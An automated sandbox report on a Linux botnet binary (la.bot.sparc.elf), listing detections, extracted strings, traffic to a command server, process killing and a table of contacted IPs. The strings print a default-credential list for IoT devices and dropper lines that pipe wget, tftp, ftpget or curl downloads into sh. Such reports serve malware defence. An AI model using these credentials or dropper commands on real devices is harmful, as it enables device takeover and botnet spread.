Linux Analysis Report
la.bot.sparc.elf

Overview

General Information

Sample name: la.bot.sparc.elf
Analysis ID: 1541495
MD5: da18ce9fadacc3a058cbd9d519cc7d47
SHA1: 4b02e509cc6cb44a4d700f2331c969b915cff290
SHA256: 20bc18fe37692e56cbfa6ab84acbfd7f56180aced6200e16389f3d5e10689c92
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.sparc.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.sparc.elf ReversingLabs: Detection: 34%
Found strings indicative of a multi-platform dropper
Source: la.bot.sparc.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.sparc.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sparc.elf String: /exe/maps|ash|login|wget|curl|tftp|ntpdate/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/fd/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp/lib//dev/watchdog/dev/misc/watchdog
Source: la.bot.sparc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 103.253.147.242 ports 23789,2,3,7,8,9
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:49848 -> 103.253.147.242:23789
Sample listens on a socket
Source: /tmp/la.bot.sparc.elf (PID: 6231) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 178.188.31.143
Source: unknown TCP traffic detected without corresponding DNS query: 178.188.31.143
Source: unknown TCP traffic detected without corresponding DNS query: 147.23.122.73
Source: unknown TCP traffic detected without corresponding DNS query: 173.167.54.242
Source: unknown TCP traffic detected without corresponding DNS query: 147.23.122.73
Source: unknown TCP traffic detected without corresponding DNS query: 197.177.182.92
Source: unknown TCP traffic detected without corresponding DNS query: 173.167.54.242
Source: unknown TCP traffic detected without corresponding DNS query: 138.94.43.73
Source: unknown TCP traffic detected without corresponding DNS query: 58.235.7.247
Source: unknown TCP traffic detected without corresponding DNS query: 197.177.182.92
Source: unknown TCP traffic detected without corresponding DNS query: 73.185.62.53
Source: unknown TCP traffic detected without corresponding DNS query: 138.94.43.73
Source: unknown TCP traffic detected without corresponding DNS query: 58.235.7.247
Source: unknown TCP traffic detected without corresponding DNS query: 133.191.0.210
Source: unknown TCP traffic detected without corresponding DNS query: 206.191.216.125
Source: unknown TCP traffic detected without corresponding DNS query: 73.185.62.53
Source: unknown TCP traffic detected without corresponding DNS query: 213.29.137.109
Source: unknown TCP traffic detected without corresponding DNS query: 133.191.0.210
Source: unknown TCP traffic detected without corresponding DNS query: 206.191.216.125
Source: unknown TCP traffic detected without corresponding DNS query: 121.134.207.73
Source: unknown TCP traffic detected without corresponding DNS query: 213.29.137.109
Source: unknown TCP traffic detected without corresponding DNS query: 126.106.152.29
Source: unknown TCP traffic detected without corresponding DNS query: 121.134.207.73
Source: unknown TCP traffic detected without corresponding DNS query: 209.58.179.187
Source: unknown TCP traffic detected without corresponding DNS query: 126.106.152.29
Source: unknown TCP traffic detected without corresponding DNS query: 213.44.180.232
Source: unknown TCP traffic detected without corresponding DNS query: 209.58.179.187
Source: unknown TCP traffic detected without corresponding DNS query: 213.44.180.232
Source: unknown TCP traffic detected without corresponding DNS query: 154.58.230.69
Source: unknown TCP traffic detected without corresponding DNS query: 36.35.182.232
Source: unknown TCP traffic detected without corresponding DNS query: 35.99.196.211
Source: unknown TCP traffic detected without corresponding DNS query: 68.199.139.72
Source: unknown TCP traffic detected without corresponding DNS query: 154.58.230.69
Source: unknown TCP traffic detected without corresponding DNS query: 34.2.1.255
Source: unknown TCP traffic detected without corresponding DNS query: 36.35.182.232
Source: unknown TCP traffic detected without corresponding DNS query: 218.111.212.213
Source: unknown TCP traffic detected without corresponding DNS query: 118.167.185.47
Source: unknown TCP traffic detected without corresponding DNS query: 35.99.196.211
Source: unknown TCP traffic detected without corresponding DNS query: 89.146.255.165
Source: unknown TCP traffic detected without corresponding DNS query: 68.199.139.72
Source: unknown TCP traffic detected without corresponding DNS query: 34.2.1.255
Source: unknown TCP traffic detected without corresponding DNS query: 173.195.75.45
Source: unknown TCP traffic detected without corresponding DNS query: 218.111.212.213
Source: unknown TCP traffic detected without corresponding DNS query: 146.221.167.31
Source: unknown TCP traffic detected without corresponding DNS query: 118.167.185.47
Source: unknown TCP traffic detected without corresponding DNS query: 102.71.146.183
Source: unknown TCP traffic detected without corresponding DNS query: 89.146.255.165
Source: unknown TCP traffic detected without corresponding DNS query: 215.72.143.241
Source: unknown TCP traffic detected without corresponding DNS query: 173.195.75.45
Source: la.bot.sparc.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sparc.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.sparc.elf (PID: 6231) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal60.troj.linELF@0/0@0/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/1/maps Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6231) File opened: /proc/82/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.sparc.elf (PID: 6231) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sparc.elf, 6231.1.00005600b9562000.00005600b9609000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 6231.1.00005600b9562000.00005600b9609000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 6231.1.00007ffec1382000.00007ffec13a3000.rw-.sdmp Binary or memory string: Hx86_64/usr/bin/qemu-sparc/tmp/la.bot.sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sparc.elf
Source: la.bot.sparc.elf, 6231.1.00007ffec1382000.00007ffec13a3000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
55.167.220.220
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
6.51.220.101
 unknown United States
1464 DNIC-ASBLK-01464-01465US false
85.43.244.80
 unknown Italy
3269 ASN-IBSNAZIT false
119.209.45.226
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
129.57.155.39
 unknown United States
6406 CEBAFUS false
223.133.115.13
 unknown Japan 2527 SO-NETSo-netEntertainmentCorporationJP false
31.31.55.245
 unknown Switzerland
15547 NETPLUSCH false
92.186.173.88
 unknown France
12479 UNI2-ASES false
55.11.20.184
 unknown United States
317 DNIC-ASBLK-00306-00371US false
90.7.45.214
 unknown France
3215 FranceTelecom-OrangeFR false
162.138.241.75
 unknown United States
26229 US-SECUS false
43.152.190.236
 unknown Japan 4249 LILLY-ASUS false
42.17.201.141
 unknown Korea Republic of
9644 SKTELECOM-NET-ASSKTelecomKR false
43.2.122.42
 unknown Japan 4249 LILLY-ASUS false
15.24.71.220
 unknown United States
13979 ATT-IPFRUS false
59.246.136.12
 unknown China
2516 KDDIKDDICORPORATIONJP false
142.166.65.49
 unknown Canada
855 CANET-ASN-4CA false
176.47.106.138
 unknown Saudi Arabia
3249 ESTPAKEE false
67.149.12.134
 unknown United States
12083 WOW-INTERNETUS false
209.228.35.92
 unknown United States
7029 WINDSTREAMUS false
67.110.124.112
 unknown United States
2828 XO-AS15US false
200.40.135.137
 unknown Uruguay
6057 AdministracionNacionaldeTelecomunicacionesUY false
185.205.239.211
 unknown Russian Federation
205236 GIPERCOM-NETISPGipercomRU false
135.176.208.114
 unknown United States
14962 NCR-252US false
139.140.246.49
 unknown United States
22847 BOWDOINUS false
8.222.188.66
 unknown Singapore
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC false
14.3.168.18
 unknown Japan 4685 ASAHI-NETAsahiNetJP false
207.61.90.207
 unknown Canada
33017 MICROWORKS-OTT-NETCA false
83.148.36.154
 unknown Czech Republic
29208 DIALTELECOM-ASDialTelecomasSK false
129.209.112.107
 unknown United States
25019 SAUDINETSTC-ASSA false
163.103.44.0
 unknown France
17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
92.4.149.65
 unknown United Kingdom
13285 OPALTELECOM-ASTalkTalkCommunicationsLimitedGB false
83.109.32.238
 unknown Norway
2119 TELENOR-NEXTELTelenorNorgeASNO false
113.232.194.66
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
205.68.24.2
 unknown United States
647 DNIC-ASBLK-00616-00665US false
108.148.111.249
 unknown United States
16509 AMAZON-02US false
131.243.68.110
 unknown United States
16 LBLUS false
90.112.250.48
 unknown France
3215 FranceTelecom-OrangeFR false
86.67.2.72
 unknown France
15557 LDCOMNETFR false
194.178.118.2
 unknown Netherlands
702 UUNETUS false
214.73.239.24
 unknown United States
27064 DNIC-ASBLK-27032-27159US false
204.219.74.164
 unknown United States
6595 DODDSEURDE false
155.159.187.153
 unknown South Africa
137951 CLAYERLIMITED-AS-APClayerLimitedHK false
103.118.122.242
 unknown Australia
137529 SYDNEYOPERAHOUS-AS-APSydneyOperaHouseTrustAU false
29.140.48.130
 unknown United States
7922 COMCAST-7922US false
208.27.147.52
 unknown United States
36837 ASN-TELETRACUS false
85.108.147.65
 unknown Turkey
9121 TTNETTR false
20.237.114.41
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
93.124.56.251
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
100.128.11.91
 unknown United States
21928 T-MOBILE-AS21928US false
61.131.79.59
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
4.193.9.254
 unknown United States
3356 LEVEL3US false
155.254.65.147
 unknown Canada
36493 295CA-TOR-ASNCA false
16.229.239.173
 unknown United States
unknown unknown false
46.147.241.55
 unknown Russian Federation
57378 ROSTOV-ASRU false
50.38.198.89
 unknown United States
27017 ZIPLY-FIBER-LEGACY-ASNUS false
12.69.83.44
 unknown United States
7018 ATT-INTERNET4US false
185.108.193.64
 unknown Russian Federation
204276 EUTELSATRU false
93.109.199.79
 unknown Cyprus
6866 CYTA-NETWORKInternetServicesCY false
196.65.0.116
 unknown Morocco
36903 MT-MPLSMA false
183.133.111.173
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
192.195.86.150
 unknown United States
54665 NGNUS false
141.32.67.220
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
12.86.245.118
 unknown United States
7018 ATT-INTERNET4US false
104.162.105.238
 unknown United States
12271 TWC-12271-NYCUS false
85.64.123.48
 unknown Israel
1680 NV-ASNCELLCOMltdIL false
214.46.174.37
 unknown United States
27064 DNIC-ASBLK-27032-27159US false
137.103.117.38
 unknown United States
11776 ATLANTICBB-JOHNSTOWNUS false
114.210.130.57
 unknown China
9595 XEPHIONNTT-MECorporationJP false
140.154.8.43
 unknown United States
1580 DNIC-ASBLK-01550-01601US false
11.101.56.238
 unknown United States
27651 ENTELCHILESACL false
68.29.124.33
 unknown United States
10507 SPCSUS false
163.122.14.248
 unknown Australia
1767 ILIGHT-NETUS false
106.49.253.156
 unknown China
9506 SINGTEL-FIBRESingtelFibreBroadbandSG false
187.73.121.40
 unknown Brazil
263621 JMALUCELLISERVICOSDETECNOLOGIALTDABR false
181.175.43.83
 unknown Ecuador
14522 SatnetEC false
4.138.164.100
 unknown United States
3356 LEVEL3US false
191.233.184.223
 unknown Brazil
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
151.208.73.165
 unknown United States
11003 PANDGUS false
71.20.20.89
 unknown United States
7029 WINDSTREAMUS false
34.32.88.72
 unknown United States
2686 ATGS-MMD-ASUS false
185.205.239.205
 unknown Russian Federation
205236 GIPERCOM-NETISPGipercomRU false
222.69.32.72
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
209.89.133.124
 unknown Canada
852 ASN852CA false
222.212.196.173
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
156.143.170.152
